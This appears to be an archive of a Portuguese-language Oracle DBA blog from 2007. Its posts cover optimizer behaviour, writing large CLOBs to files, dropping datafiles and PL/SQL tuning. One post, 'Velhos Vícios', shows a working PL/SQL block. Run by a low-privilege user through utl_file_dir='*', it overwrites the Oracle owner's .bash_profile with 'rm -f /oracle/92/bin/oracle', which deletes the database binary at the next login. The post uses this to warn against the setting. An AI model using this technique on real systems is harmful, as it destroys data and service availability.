background_dump_dest                 string     /oracle/admin/lx10g/bdump
------------------------------------------------------------------------------

Before DBMS_UTILITY (core_dump_dest, 2)
After DBMS_UTILITY: 1, 25, /oracle/admin/lx10g/cdump
Did decode
core_dump_dest                       string     /oracle/admin/lx10g/cdump
------------------------------------------------------------------------------

Before DBMS_UTILITY (max_dump_file_size, 2)
After DBMS_UTILITY: 1, 9, UNLIMITED
Did decode
max_dump_file_size                   string     UNLIMITED
------------------------------------------------------------------------------

Before DBMS_UTILITY (shadow_core_dump, 2)
After DBMS_UTILITY: 1, 7, partial
Did decode
shadow_core_dump                     string     partial
------------------------------------------------------------------------------

Before DBMS_UTILITY (user_dump_dest, 2)
After DBMS_UTILITY: 1, 25, /oracle/admin/lx10g/udump
Did decode
user_dump_dest                       string     /oracle/admin/lx10g/udump
------------------------------------------------------------------------------

PL/SQL procedure successfully completed.

Constraints e CBO

2007-04-11T14:21:00.000-03:00

Quem nunca ouviu dizer, que devemos evitar o uso de funções em comparações na clausula WHERE, porque podemos invalidar o uso de índice caso esse exista. É uma boa prática de programação e o que vou demonstrar abaixo não a invalida, porém, mostra a capacidade do otimizador em identificar as informações que damos a ele e como é importante alimentarmos o Oracle com as constraints (primary key, not null, foreign key, checks, etc).

Iniciamos o teste com um tabela com aproximadamente 52 mil registros, nela, haverá duas constraints - uma primary key (o_id) e um check (oname), também haverá um índice normal na coluna (oname). Depois de coletar as estatísticas, farei uma consulta com o predicado UPPER(oname) = 'valor' cujo o uso invalidaria o indice, porém em nosso exemplo, o otimizador sabe que a coluna não permite nulo e só permite valor em UPPER case, então ele faz a dedução e decide usar o índice.

Essa capacidade de entender e decidir usar o índice já está valendo desde a versão 9i. Juntamente com essa demonstração, gostaria de mostrar algumas melhorias que vieram com o 10g. Na demo, há uma query principal que faz a projeção das colunas que estou selecionando e uma subquery, onde busco o predicado UPPER e o max( da primary key ). Agora é possível nomear as subqueries e as queries de uma sentença com o hint /*+ qb_name() */ (Query Block Name) e a partir dessa mesma versão, o dbms_xplan dá mais informações, inclusive dos nomes destas queries.

Preparando o exemplo e coletando estatísticas


ops$marcio:LX10G> create table t (
  2          o_id            number constraint t_pk primary key,
  3          oname           varchar2(30) not null,
  4          padding         varchar2(200),
  5          constraint t_chk_oname check ( oname = upper(oname) )
  6  );

Table created.

ops$marcio:LX10G>
ops$marcio:LX10G> create index t_i1 on t ( oname );

Index created.

ops$marcio:LX10G>
ops$marcio:LX10G> insert /*+ append */ into t
  2  select object_id,
  3         substr(upper(object_name),1,30),
  4         lpad('x',200,'x')
  5    from dba_objects
  6  /

51925 rows created.

ops$marcio:LX10G>
ops$marcio:LX10G> begin
  2          dbms_stats.gather_table_stats(
  3                  user,
  4                  'T',
  5                  cascade => true
  6          );
  7  end;
  8  /

PL/SQL procedure successfully completed.

Limpar a plan_table


ops$marcio:LX10G>
ops$marcio:LX10G> delete from plan_table;

6 rows deleted.

ops$marcio:LX10G> commit;

Commit complete.

ops$marcio:LX10G>
ops$marcio:LX10G> explain plan for
  2  select /*+ qb_name( principal ) */ *
  3    from t t1
  4   where o_id = ( select /*+ qb_name ( maxid ) */ max(o_id)
  5                    from t t2
  6                   where upper(oname) = 'ALL_OBJECTS' )
  7
  8  /

Explained.

Acima está o exemplo. Note o upper(oname) na linha 6, isso normalmente invalidaria o índice, mas como pode ser visto abaixo, ele usou o índice T_I1, que está relacionado a esta coluna (oname), sem que o índice fosse do tipo FBI (Function Based Index), ou seja, eu não preparei um índice especial para que ele assumisse, não, o índice é um b-tree normal. Note também, os argumentos null, null, 'ALL' que passo para o dbms_xplan.display, isso é novo no 10g e abaixo, repare nas 3 seções que o resultado traz, deixa bem mais fácil a vida da pessoa que está trabalhando com otimização de queries inclusive com os nomes das queries que usei apenas para ilustrar o exemplo.


ops$marcio:LX10G>
ops$marcio:LX10G> select * from table( dbms_xplan.display( null, null, 'ALL'));

PLAN_TABLE_OUTPUT
--------------------------------------------------------------------------------
Plan hash value: 2855282288

---------------------------------------------------------------------------------------
| Id  | Operation                      | Name | Rows  | Bytes | Cost (%CPU)| Time     |
---------------------------------------------------------------------------------------
|   0 | SELECT STATEMENT               |      |     1 |   229 |     4   (0)| 00:00:01 |
|   1 |  TABLE ACCESS BY INDEX ROWID   | T    |     1 |   229 |     2   (0)| 00:00:01 |
|*  2 |   INDEX UNIQUE SCAN            | T_PK |     1 |       |     1   (0)| 00:00:01 |
|   3 |    SORT AGGREGATE              |      |     1 |    30 |            |          |
|   4 |     TABLE ACCESS BY INDEX ROWID| T    |     1 |    30 |     2   (0)| 00:00:01 |
|*  5 |      INDEX RANGE SCAN          | T_I1 |     1 |       |     1   (0)| 00:00:01 |
---------------------------------------------------------------------------------------

Query Block Name / Object Alias (identified by operation id):
-------------------------------------------------------------

   1 - PRINCIPAL / T1@PRINCIPAL
   2 - PRINCIPAL / T1@PRINCIPAL
   3 - MAXID
   4 - MAXID     / T2@MAXID
   5 - MAXID     / T2@MAXID

Predicate Information (identified by operation id):
---------------------------------------------------

   2 - access("O_ID"= (SELECT /*+ QB_NAME ("MAXID") */ MAX("O_ID") FROM "T"
              "T2" WHERE "ONAME"='ALL_OBJECTS' AND UPPER("ONAME")='ALL_OBJECTS'))
   5 - access("ONAME"='ALL_OBJECTS')
       filter(UPPER("ONAME")='ALL_OBJECTS')

Column Projection Information (identified by operation id):
-----------------------------------------------------------

   1 - "O_ID"[NUMBER,22], "T1"."ONAME"[VARCHAR2,30],
       "T1"."PADDING"[VARCHAR2,200]
   2 - "T1".ROWID[ROWID,10], "O_ID"[NUMBER,22]
   3 - (#keys=0) MAX("O_ID")[22]
   4 - "O_ID"[NUMBER,22]
   5 - "T2".ROWID[ROWID,10]

39 rows selected.

DBMS_LOB (10g)

2007-04-10T11:14:00.000-03:00

Na lista de discussão oracle_br, tivemos um dúvida relacionada ao uso do LOB. Era preciso descarregar o conteúdo de um campo CLOB em um arquivo, porém a longitude do registro era maior que 32767 (limite documentado do utl_file). Depois de algum bate-bola, chegamos a conclusão que era possível usar o dbms_lob.put_raw para escrever tal linha. Faltou o exemplo e aqui está ele.

Criei uma tabela com um campo CLOB
Preenchi esse campo com um registro bem longo (~64k)
Em um bloco anônimo, criei uma instância de um BLOB, fiz a conversão do CLOB para o BLOB, escrevi em um arquivo usando o utl_file.put_raw.
Gostaria de chamar a atenção no momento da abertura do arquivo, já que usei como argumento o 'wb', novo na versão 10g. Significa: abrindo arquivo para recber binário.
Para testar se o arquivo foi criado corretamente, usei o comando wc -L do unix para trazer o tamanho da maior linha do arquivo.
Teste executado na versão 10gR2 (10.2.0.2) e Enterprise Linux.


ops$marcio:LX10G> create table t ( x clob );

Table created.

ops$marcio:LX10G>
ops$marcio:LX10G> create or replace directory my_files as '/tmp';

Directory created.

ops$marcio:LX10G>
ops$marcio:LX10G> declare
  2       l_clob     clob;
  3  begin
  4       loop
  5          exit when dbms_lob.getlength( l_clob ) > 50000;
  6          l_clob := l_clob || rpad('z', 32760, 'x') ;
  7       end loop;
  8
  9       insert into t values ( l_clob ) ;
 10  end;
 11  /

PL/SQL procedure successfully completed.

ops$marcio:LX10G>
ops$marcio:LX10G> select dbms_lob.getlength( x ) from t;

DBMS_LOB.GETLENGTH(X)
---------------------
                65520

1 row selected.

ops$marcio:LX10G>
ops$marcio:LX10G> declare
  2          l_output        utl_file.file_type;
  3          l_blob          blob;
  4          l_clob          clob;
  5          l_amt           number default 32000;
  6          l_off           number default 1;
  7          l_raw           raw(32000);
  8          l_length        number;
  9
 10          l_warning       number;
 11          l_doff7         number default 1;
 12          l_soff7         number default 1;
 13          l_lang_ctx      number default dbms_lob.default_lang_ctx;
 14
 15  begin
 16          l_output := utl_file.fopen( 'MY_FILES', 'bigclob.txt', 'wb', 32767 );
 17          select x into l_clob from t;
 18
 19          dbms_lob.createtemporary( l_blob, true, dbms_lob.session );
 20
 21          dbms_lob.converttoblob(
 22                  l_blob,
 23                  l_clob,
 24                  dbms_lob.LOBMAXSIZE,
 25                  l_doff7,
 26                  l_soff7,
 27                  dbms_lob.DEFAULT_CSID,
 28                  l_lang_ctx,
 29                  l_warning
 30          );
 31
 32          l_length := dbms_lob.getlength(l_blob);
 33          loop
 34                  exit when l_off > l_length;
 35                  dbms_lob.read( l_blob, l_amt, l_off, l_raw );
 36                  l_off := l_off + l_amt;
 37                  utl_file.put_raw( l_output, l_raw, true );
 38          end loop;
 39
 40          utl_file.fclose( l_output );
 41          dbms_lob.freetemporary( l_blob );
 42  end;
 43  /

PL/SQL procedure successfully completed.

ops$marcio:LX10G>
ops$marcio:LX10G> !ls -l /tmp/bigclob.txt
-rw-r--r--  1 oracle dba 65520 Apr 10 10:28 /tmp/bigclob.txt

ops$marcio:LX10G> !wc -L /tmp/bigclob.txt
65520 /tmp/bigclob.txt

Português

2007-04-09T21:52:00.000-03:00

Enfim aconteceu! A primeira dúvida na "Ask ao Tio" (nome provisório e uma brincadeira) que já foi respondida. Mais do que um espaço para esclarecimentos, penso que posso convidar outras pessoas que gostem de compartilhar conhecimento para me ajudar a montar uma verdadeira página que seja referência em português em dúvidas sobre Oracle, fora os comentários em forma de thread que eventualmente acontecem em páginas desse estilo.

Para ler a primeira dúvida: Click Aqui.

Peço a gentileza de um pedacinho do seu tempo. Deixem comentários sobre o tema. Sugestões são extremamente bem-vindas. Em minha opinião, ainda falta um espaço para esclarecer dúvidas em português.

Tempos Difíceis

2007-04-09T06:59:00.000-03:00

É provável que todos, entre os falíveis mortais, já passaram por algum tipo de enfermidade e se deram conta que, por mais que seja uma unha, a saúde é essencial. Estou passando por uma situação difícil e por isso não tenho tido oportunidade de atualizar o blog com tanta freqüência. Justo meus olhos estão com uma pequena infecção que demora a cicatrizar e isso me deixa impossibilitado de lidar com luz. Hoje, volto a trabalhar, depois de duas semanas "de molho", ainda não estou 100%, porém é preciso voltar. Espero poder voltar a escrever e produzir o mais rápido possível. Até breve!

Márcio Portes.

Velhos Vícios

2007-03-29T09:35:00.000-03:00

Ainda hoje, beirando o lançamento da versão 11g, sustentamos alguns velhos hábitos mantendo funcionalidades do passado, algumas, além de antigas, perigosas. A natureza humana é resistente a mudança, isso é indiscutível e quase incontestável, porém, quando novas características vêm, é preciso, no mínimo, considerar e mais importante, conhecer! A cada nova release é necessário saber a lista de bugs corrigidos assim como novas funcionalidades, estudá-las, testá-las e classificá-las adequadamente para sua aplicação futura. Até hoje é possível ver banco de dados subindo com pfile ao invés de spfile, por exemplo.

Outro exemplo é o comando de definição CREATE DIRECTORY, que nem pode ser chamado de nova funcionalidade na medida em que ele existe desde a versão 8i. Mas é impressionante a quantidade de analistas e desenvolvedores que ainda usam o parâmetro utl_file_dir para escrever ou ler arquivos do sistema operacional. Está comprovadamente advertido que este parâmetro é extremamente perigoso, ainda mais se for mal configurado. Vamos discutir um pouco mais a fundo. Gostaria apenas de uma ressalva quanto a publicação desse exemplo: se há algo que evito, é publicar como explorar vulnerabilidades, mostrando os códigos. É importante estar ciente dos problemas de segurança, portanto, quando publico, procuro omitir o código. Entretanto, penso que esta demonstração tem seu propósito.

Então, por favor, não reproduza o exemplo a seguir em seu ambiente já que o resultado pode ser desastroso, a intenção é mostrar o que um sistema mal configurado e um programador "bem intencionado" podem fazer. O cenário consiste em explorar o mal dimensionamento do parâmetro ult_file_dir, que em muitos sistemas fica setado para "*" (asterísco), ou seja, permissão para escrita e leitura em qualquer lugar do sistema operacional, onde o usuário dono do oracle tenha acesso. No linux, usando o shell /bin/bash, o .bash_profile é um arquivo que executa automaticamente quando o usuário loga-se no sistema, uma espécie de autoexec.bat (para Windows). Meu código irá substituir o conteúdo do .bash_profile do dono do Oracle e na próxima oportunidade de login do mesmo, o .bash_profile executa!
Requisito:


ops$marcio:LX92> show parameter utl_file_dir

NAME                                 TYPE        VALUE
------------------------------------ ----------- ------------------------
utl_file_dir                         string      *

Faço o login con o ora92 (dono do meu oracle 9i) e mostro o .bash_profile original.


[ora92@anakin ~]$ cat .bash_profile
# .bash_profile

# Get the aliases and functions
if [ -f ~/.bashrc ]; then
       . ~/.bashrc
fi

# User specific environment and startup programs

PATH=$PATH:$HOME/bin

export PATH
unset USERNAME

ORACLE_SID=lx92
ORACLE_BASE=/oracle
ORACLE_HOME=/oracle/92
PATH=$ORACLE_HOME/bin:$PATH:.
LD_ASSUME_KERNEL=2.4.19
SQLPATH=/oracle/sqladm
export ORACLE_SID ORACLE_BASE ORACLE_HOME PATH LD_ASSUME_KERNEL SQLPATH

Agora, entro com o scott/tiger do prompt do unix mesmo, mas eu poderia usar o sqlplusw do Windows na minha estação ou o sqldeveloper ou até mesmo outro cliente qualquer, não há necessidade de conhecer ou ter o usuário do unix. Uma vez conectado, vou executar um bloco anônimo de 12 linhas apenas, fechar a sessão e esperar a bomba que acontece na próxima conexão de algum DBA que necessite fazer manutenção no banco através da conta "ora92".


[ora92@anakin ~]$ sqlplus scott/tiger

SQL*Plus: Release 9.2.0.8.0 - Production on Thu Mar 29 10:45:37 2007

Copyright (c) 1982, 2002, Oracle Corporation.  All rights reserved.


Connected to:
Oracle9i Enterprise Edition Release 9.2.0.8.0 - Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.8.0 - Production

scott:LX92> declare
 2          l_output        utl_file.file_type;
 3  begin
 4          l_output := utl_file.fopen('/home/ora92', '.bash_profile', 'w' );
 5          utl_file.put_line( l_output, 'rm -f /oracle/92/bin/oracle' );
 6          utl_file.put_line( l_output, 'clear' );
 7          utl_file.put_line( l_output, 'echo ''Vai usar o sqlplus ? :-) ''' );
 8          utl_file.put_line( l_output, 'echo ''Acho que nao!!! :P ''' );
 9          utl_file.put_line( l_output, '');
10          utl_file.fclose(l_output);
11  end;
12  /

PL/SQL procedure successfully completed.

scott:LX92> exit
Disconnected from Oracle9i Enterprise Edition Release 9.2.0.8.0 - Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.8.0 - Production

Tudo armado, veja abaixo como está o .bash_profile e cá entre nós, quem se lembra que existe o .bash_profile toda vez que conectamos? Então, um pouco mais abaixo, mostro o telnet e a conexão.


[ora92@anakin ~]$ cat .bash_profile
rm -f /oracle/92/bin/oracle
clear
echo 'Vai usar o sqlplus ? :-) '
echo 'Acho que nao!!! :P '

[ora92@anakin ~]$ telnet anakin.mportes.local
Trying 192.168.0.120...
Connected to anakin.mportes.local (192.168.0.120).
Escape character is '^]'.
Enterprise Linux Enterprise Linux AS release 4 (October Update 4)
Kernel 2.6.9-42.0.0.0.1.ELsmp on an i686
login: ora92
Password:
Last login: Wed Mar 28 21:22:32 from localhost.localdomain

Vai usar o sqlplus ? :-)
Acho que nao!!! :P
-bash-3.00$
-bash-3.00$

Só de ler isso aqui já dá um negócio na barriga não? Feche os olhos e imagine VOCE vivendo uma situação como esta? O shell diferente do que está acostumado, uma mensagem ridícula com caretinhas e... voce se dá conta que algo aconteceu no seu profile (.bash_profile) "Caramba, quem mexeu aqui? Deve ser zueira" - Sim e das grandes! Seguindo, acertamos as variáveis de ambiente e tentamos conectar no banco...


-bash-3.00$ sqlplus "/ as sysdba"
-bash: sqlplus: command not found
-bash-3.00$ . ./bash_profile_backup
[ora92@anakin ~]$
[ora92@anakin ~]$ sqlplus "/ as sysdba"

SQL*Plus: Release 9.2.0.8.0 - Production on Thu Mar 29 10:47:26 2007

Copyright (c) 1982, 2002, Oracle Corporation.  All rights reserved.

ERROR:
ORA-12545: Connect failed because target host or object does not exist


Enter user-name:
ERROR:
ORA-12545: Connect failed because target host or object does not exist


Enter user-name:
ERROR:
ORA-12545: Connect failed because target host or object does not exist


SP2-0157: unable to CONNECT to ORACLE after 3 attempts, exiting SQL*Plus
[ora92@anakin ~]$

Vixi!
Bom, provavelmente a essa altura, o telefone já não pára de tocar, seu chefe e o chefe do seu chefe devem estar ai atrás da sua cadeira, perguntando "O que acontece?", "Tem previsão?", "Qual a severidade?"...

Concluindo: é um cenário dantesco que não é impossível de acontecer, imaginado para contextualizar a vulnerabilidade de um parâmetro mal dimensionado e insistente na medida em que não muda-se os paradigmas e se mantém vícios antigos porque "sempre foi assim". Todo esse exemplo seria impossível, caso o parâmetro utl_file_dir não estivesse setado, então o analista teria que solicitar ao DBA para criar um diretório lógico no oracle (CREATE DIRECTORY) apontando para o diretório físico no sistema operacional restrito a seu trabalho. No próximo release, tire um tempo para testar e conhecer as new features, ajuda bastante.

Drop Datafile (Aprofundando...)

2007-03-27T14:05:00.000-03:00

Recebi alguns feedbacks sobre o post anterior, portanto vamos estudar um pouco mais o drop datafile.

Visitei hoje seu blog e li o artigo sobre como dropar um datafile. No exemplo você dropa um datafile de uma tablespace que possui dois datafile.
O que acontece com o conteudo daquele datafile? Porque ate onde eu sei não é possivel colocarmos uma determinada tabela por exemplo em um datafile específico, somente especificamos em qual tablespace queremos alocar a tabela e o proprio banco distribui pelos datafiles.

Os dados do datafile dropado são jogados para o outro datafile? Ou todos os objetos que estavam contidos inteiramente ou parcialmente no datafile também são dropados?

Não, os dados não são jogados em outro datafile, neste caso não é permitido o drop datafile e não só nesse caso. Veja:


ops$marcio:LX10G> create tablespace tbs_deldf datafile
  2    '/oracle/tmp/df1.dbf' size 10m,
  3    '/oracle/tmp/df2.dbf' size 10m
  4  /

Tablespace created.

ops$marcio:LX10G>
ops$marcio:LX10G> col file_name format a50
ops$marcio:LX10G> select file_name
  2    from dba_data_files
  3   where tablespace_name = 'TBS_DELDF'
  4  /

FILE_NAME
--------------------------------------------------
/oracle/tmp/df1.dbf
/oracle/tmp/df2.dbf

2 rows selected.

ops$marcio:LX10G>
ops$marcio:LX10G> drop table t;

Table dropped.

ops$marcio:LX10G> create table t tablespace tbs_deldf as select * from all_objects;

Table created.

ops$marcio:LX10G> insert /*+ append */ into t select * from t;

51191 rows created.

ops$marcio:LX10G> commit;

Commit complete.

ops$marcio:LX10G>
ops$marcio:LX10G> select count(*) from t;

     COUNT(*)
-------------
       102382

1 row selected.

ops$marcio:LX10G>
ops$marcio:LX10G> select file_name, round( bytes/1024/1024 ) mbytes,
  2         round( ratio_to_report(bytes) over () * 100, 2 ) pct
  3    from (
  4  select sum(a.bytes) bytes, b.file_name
  5    from dba_extents a,
  6         dba_data_files b
  7   where a.owner = USER
  8     and a.segment_name = 'T'
  9     and a.segment_type = 'TABLE'
 10     and a.file_id = b.file_id
 11   group by b.file_name
 12         )
 13   order by file_name
 14  /

FILE_NAME                                                 MBYTES           PCT
-------------------------------------------------- ------------- -------------
/oracle/tmp/df1.dbf                                            6            50
/oracle/tmp/df2.dbf                                            6            50

2 rows selected.

Fizemos uma carga e o oracle distribuiu os dados uniformemente através dos datafiles, portanto, 50% para cada. Nesse caso, o comando já não é mais permitido, porque os datafiles não estão vazios.


ops$marcio:LX10G> alter tablespace tbs_deldf drop datafile '/oracle/tmp/df2.dbf';
alter tablespace tbs_deldf drop datafile '/oracle/tmp/df2.dbf'
*
ERROR at line 1:
ORA-03262: the file is non-empty

Outra restrição para o comando, não é permitido dropar o primeiro datafile da tablespace (no momento da criação).

ops$marcio:LX10G> drop table t;

Table dropped.

ops$marcio:LX10G> alter tablespace tbs_deldf drop datafile '/oracle/tmp/df1.dbf';
alter tablespace tbs_deldf drop datafile '/oracle/tmp/df1.dbf'
*
ERROR at line 1:
ORA-03263: cannot drop the first file of tablespace TBS_DELDF

Drop é suficiente para limpar um datafile? Não! Não podemos esquecer que um drop na versão 10g, na verdade marca a tabela como dropada, mas o datafile ainda não está vazio enquanto não purgamos os dados. Nesse caso, o comando também falha.

ops$marcio:LX10G> alter tablespace tbs_deldf drop datafile '/oracle/tmp/df2.dbf';
alter tablespace tbs_deldf drop datafile '/oracle/tmp/df2.dbf'
*
ERROR at line 1:
ORA-03262: the file is non-empty


ops$marcio:LX10G> purge recyclebin;

Recyclebin purged.

ops$marcio:LX10G> alter tablespace tbs_deldf drop datafile '/oracle/tmp/df2.dbf';

Tablespace altered.

Outro caso é quando a tablespace possui apenas um datafile.


ops$marcio:LX10G> alter tablespace tbs_deldf drop datafile '/oracle/tmp/df1.dbf';
alter tablespace tbs_deldf drop datafile '/oracle/tmp/df1.dbf'
*
ERROR at line 1:
ORA-03261: the tablespace TBS_DELDF has only one file

É importante frizar também que o comando drop datafile não substitui o alter database ... offline drop, eles convivem e cada qual tem sua aplicação.

Drop Datafile (10g)

2007-03-26T20:40:00.000-03:00

Até a versão 10g, dropar um datafile era uma tarefa "quase" impossível, apesar da nota no metalink sobre como dropar datafile, convenhamos, não é uma ação para uma sexta-feira à tarde. Porém, com a versão 10g, isso virou um comando bastante simples.


ops$marcio:LX10G> create tablespace tbs_deldf datafile
  2    '/oracle/tmp/df1.dbf' size 10m,
  3    '/oracle/tmp/df2.dbf' size 10m
  4  /

Tablespace created.

ops$marcio:LX10G>
ops$marcio:LX10G> col file_name format a50
ops$marcio:LX10G> select file_name
  2    from dba_data_files
  3   where tablespace_name = 'TBS_DELDF'
  4  /

FILE_NAME
--------------------------------------------------
/oracle/tmp/df1.dbf
/oracle/tmp/df2.dbf

2 rows selected.

ops$marcio:LX10G>
ops$marcio:LX10G> alter tablespace tbs_deldf drop datafile '/oracle/tmp/df2.dbf';

Tablespace altered.

ops$marcio:LX10G>
ops$marcio:LX10G> select file_name
  2    from dba_data_files
  3   where tablespace_name = 'TBS_DELDF'
  4  /

FILE_NAME
--------------------------------------------------
/oracle/tmp/df1.dbf

1 row selected.

Apenas uma adendo, o comando não funciona para tablespaces do tipo bigfile.

Como Otimizar um PL/SQL

2007-03-21T19:41:00.000-03:00

Um colega me disse que é difícil otimizar programas. Realmente, se pensarmos bem, não é uma tarefa que se ensina em curso. A maioria dos DBAs também têm dificuldade em otimizar sentenças SQL ou códigos PL/SQL, porque não é tarefa de seu dia-a-dia. Quanto mais próximo do código, mais são as chances do profissional aprender como escrever programas eficientes em PL/SQL. Também existem os códigos egípcios puxados para o grego, cujo autor é o único que os entende. Já viu!? As variáveis são definidas como "x", "y" e "z" sem dizer coisa alguma além de não oferecer sequer um comentário. Terrível! "Indentação"? Para quê? Algumas vezes dá vontade de chamar o Tank para decifrar.

Antes de começar, um lembrete: O que voce lerá daqui para frente serviu a mim, isso não quer dizer que servirá a voce. Tome as dicas aqui como referência e não deixe de fazer o seu guia para otimização.

Por Onde Começar?

Entendimento! Esse é o começo. Entender o código, o que faz, qual o caminho está percorrendo, quais as tabelas envolvidas, quantidade de linhas, índices, seletividade, ou seja, todo o conhecimento que provavelmente qualquer profissional acumula durante a carreira é usado na otimização de código.

No começo, é usar o que já sabemos. Vou usar meu exemplo: na minha carreira até agora, tudo que eu posso fazer usando SQL puro, faço (em termos de programação em banco de dados Oracle). Então, quando me pedem para olhar (otimizar) uma procedure, vou primeiro entender o programa. Validar com o negócio se realmente eles precisam da rotina (muitas vezes, uma rotina é desnecessária e está lá, porque ninguém nunca perguntou). Verificar se eu não poderia escrever aquilo de outra forma, usando SQL puro. A técnica é parecida com tirar cascas de cebola, uma camada de cada vez. Nunca vou direto no tkprof ou autotrace, essa parte é do refinamento, quando já reescrevi o procedimento.

Vamos desenvolver um pequeno exemplo: as tabelas envolvidas serão EMP e DEPT do esquema SCOTT, elas estão disponíveis em $ORACLE_HOME/utlsampl.sql. Farei um backup da dept na dept_old (create table dept_old as select * from dept), depois removo todas as linhas da dept e tomando a dept_old como base, irei repopular a dept caso o departamento (deptno) esteja em uso na emp. Bastante simples. Agora vamos ver o código para isso.


declare
     l_exist         number(1) default 0;
     l_dname         dept_old.dname%type;
     l_loc           dept_old.loc%type;
begin
     for x in ( select deptno from emp )
     loop
             select count(*) into l_exist
               from dept
              where dept.deptno = x.deptno;
             if ( l_exist = 0 ) then
                select dname, loc into l_dname, l_loc
                  from dept_old
                 where dept_old.deptno = x.deptno;
                insert into dept values ( x.deptno, l_dname, l_loc );
             end if;
     end loop;
end;
/

O que pensar de um código assim? Horrível não? Começando com o temido switch de contexto, caminhando com count(*) sem restrição para testar se o registro existe e finalizando com um select que popula variáveis para finalmente inserir na dept. Ok, muita calma, leia o código e entenda o que faz. Mas entenda a semântica, não a sintaxe, ou seja, entenda o significado. Resumindo: insira um registro na dept caso exista na emp da dept_old. Concorda? Ora, ele vem de um cursor da emp, testa com count(*) para saber se já existe na dept e se não existir insira usando dados da dept_old.

Agora vou tentar explicar o que vejo, iniciando com o switch de contexto, que é a troca seguida entre a engine de SQL e PL/SQL. Exatamente como acontece no código acima, dentro de um cursor utiliza-se sentenças SQL.

(1) OPEN x in ( SELECT ... )
loop
(2) SELECT y INTO ... FROM ...;
(3) UPDATE z SET w=... WHERE x.m =...
end loop;

Em (1) a engine de SQL executa a query e envia para a engine de PL/SQL que fará o looping. O problema é que em (2) há novamente uma sentença em SQL que a engine de PL/SQL não executa, então novamente há cessão de execução à engine de SQL, que executa e VOLTA para engine de PL/SQL, para seguir com o looping... mas... em (3) novamente uma sentença SQL e a engine de SQL é chamada, executa e devolve para engine de PL/SQL, para a finalização da primeira linha do looping. Basicamente, isso é switch de contexto.

Isso deve ser evitado, melhor, deveria ser proibido! Então, já descobrimos o primeiro problema do nosso código e, só isso, já seria argumento suficiente para reescrevê-lo. Seguindo, temos um teste de existência. Honestamente, eu NUNCA testo nada para inserir ou atualizar, eu simplesmente envio o comando, se não existe, paciência! E quando tenho que testar, coloco uma restrição para não haver problema de performance. Em nosso exemplo, temos:

select count(*) into l_exist
from dept
where dept.deptno = x.deptno;

Não há limite para o count(*), se a tabela dept tivesse 1 milhão de linhas ele faria a contagem de 1 milhão de linhas (POR NADA) e devolveria em l_exist. Realmente o que é preciso para saber que um dept existe? Apenas uma linha, portanto, seria muito mais eficiente se puséssemos no predicado uma restrição como: AND ROWNUM=1, porque basta achar 1 registro. O otimizador conhece o rownum=1 e faz um COUNT STOPKEY.


ops$marcio:LX10G> select count(*) from t1;

    COUNT(*)
-------------
       53094

1 row selected.

-------------------------------------------------------------------------------
| Id  | Operation             | Name          | Rows  | Cost (%CPU)| Time     |
-------------------------------------------------------------------------------
|   0 | SELECT STATEMENT      |               |     1 |    28   (4)| 00:00:01 |
|   1 |  SORT AGGREGATE       |               |     1 |            |          |
|   2 |   INDEX FAST FULL SCAN| IT1_OBJECT_ID | 53094 |    28   (4)| 00:00:01 |
-------------------------------------------------------------------------------

Statistics
----------------------------------------------------------
         0  recursive calls
         0  db block gets
       124  consistent gets
...

ops$marcio:LX10G> select count(*) from t1 where rownum=1;

    COUNT(*)
-------------
           1

1 row selected.

--------------------------------------------------------------------------------
| Id  | Operation              | Name          | Rows  | Cost (%CPU)| Time     |
--------------------------------------------------------------------------------
|   0 | SELECT STATEMENT       |               |     1 |    28   (4)| 00:00:01 |
|   1 |  SORT AGGREGATE        |               |     1 |            |          |
|*  2 |   COUNT STOPKEY        |               |       |            |          |
|   3 |    INDEX FAST FULL SCAN| IT1_OBJECT_ID | 53094 |    28   (4)| 00:00:01 |
--------------------------------------------------------------------------------

Predicate Information (identified by operation id):
---------------------------------------------------

   2 - filter(ROWNUM=1)


Statistics
----------------------------------------------------------
         1  recursive calls
         0  db block gets
         7  consistent gets
...

Seguindo em nossa avaliação eu pergunto: por que selecionar os valores em variáveis e depois inserir? Faça o insert direto (se fosse o caso!).

select dname, loc into l_dname, l_loc
from dept_old
where dept_old.deptno = x.deptno;
insert into dept values ( x.deptno, l_dname, l_loc );

Então, nesse caso, o correto seria apenas um comando SQL (pensando em recursos, cada sentença SQL movimenta CPU, evitando desperdícios de sentenças, estamos economizando recurso de máquina).

insert into dept
select deptno, dname, loc
from dept_old
where dept_old.deptno = x.deptno;

A instrução acima faria a mesma coisa, economizando CPU e memória.

Concluindo

Agora que avaliamos o código e entendemos o que deve ser feito, vimos todas as suas fraquezas, hora de tomar uma decisão. Apenas retomando, não precisei de tkprof nem de autotrace para avaliar esse código e notar que está muito mal feito. A solução para esse procedimento é a reescrita! Então, relembrando a semântica: inserir na dept caso exista em emp da dept_old.


insert into dept
select deptno, dname, loc
  from dept_old
 where exists ( select null
                  from emp
                 where emp.deptno = dept_old.deptno )
/

Eficiencia do Otimizador

2007-03-20T10:04:00.000-03:00

Na versão 10g, a Oracle aprimorou muito as decisões do otimizador baseado nas informações das estatísticas (CBO) - nem sei porque usamos essa sigla ainda, talvez vício, já que não existe mais o RBO. A capacidade de reescrever as queries para obter melhor resultado através da avaliação de histogramas, índices, etc.

Porém, ainda há situações onde o otimizador não tem muita opção e, portanto, elege um caminho não tão eficiente. Um exemplo que vi outro dia, foi uma query escrita com "OR". Na query existia dois predicados bastante efetivos e eletivos por índice, só quando executados separadamente. Quando postos juntos na mesma query o otimizador simplesmente não soube como resolver e escolheu um FILTER da primeira tabela (full tablescan) e leitura através de índice na segunda (INDEX RANGE SCAN), nada apropriado para o caso.

Gostaria de chamar atenção em um ponto aqui: a importância de conhecer seus dados. O analista conhecia seus dados e sabia que o acesso não estava adequado. Quando ele me procurou, não entendia porque o Oracle não estava trazendo os dados de forma correta. Então reescrevemos a query com UNION ALL.

A query na verdade é bastante simples e vou tentar reproduzir. Primeiro um setup dos dados - T1 e T2.


ops$marcio:LX10G> create table t1 as select * from sys.obj$;

Table created.

ops$marcio:LX10G> create index it1_object_id on t1 ( obj# );

Index created.

ops$marcio:LX10G>
ops$marcio:LX10G> create table t2 as select * from dba_objects;

Table created.

ops$marcio:LX10G> create index it2_object_id on t2 ( object_id );

Index created.

ops$marcio:LX10G> create index it2_owner on t2 ( owner );

Index created.

ops$marcio:LX10G>
ops$marcio:LX10G> begin
  2          dbms_stats.gather_table_stats(
  3                  user,
  4                  'T1',
  5                  cascade => true,
  6                  method_opt => 'for all indexed columns size 10'
  7          );
  8          dbms_stats.gather_table_stats(
  9                  user,
 10                  'T2',
 11                  cascade => true,
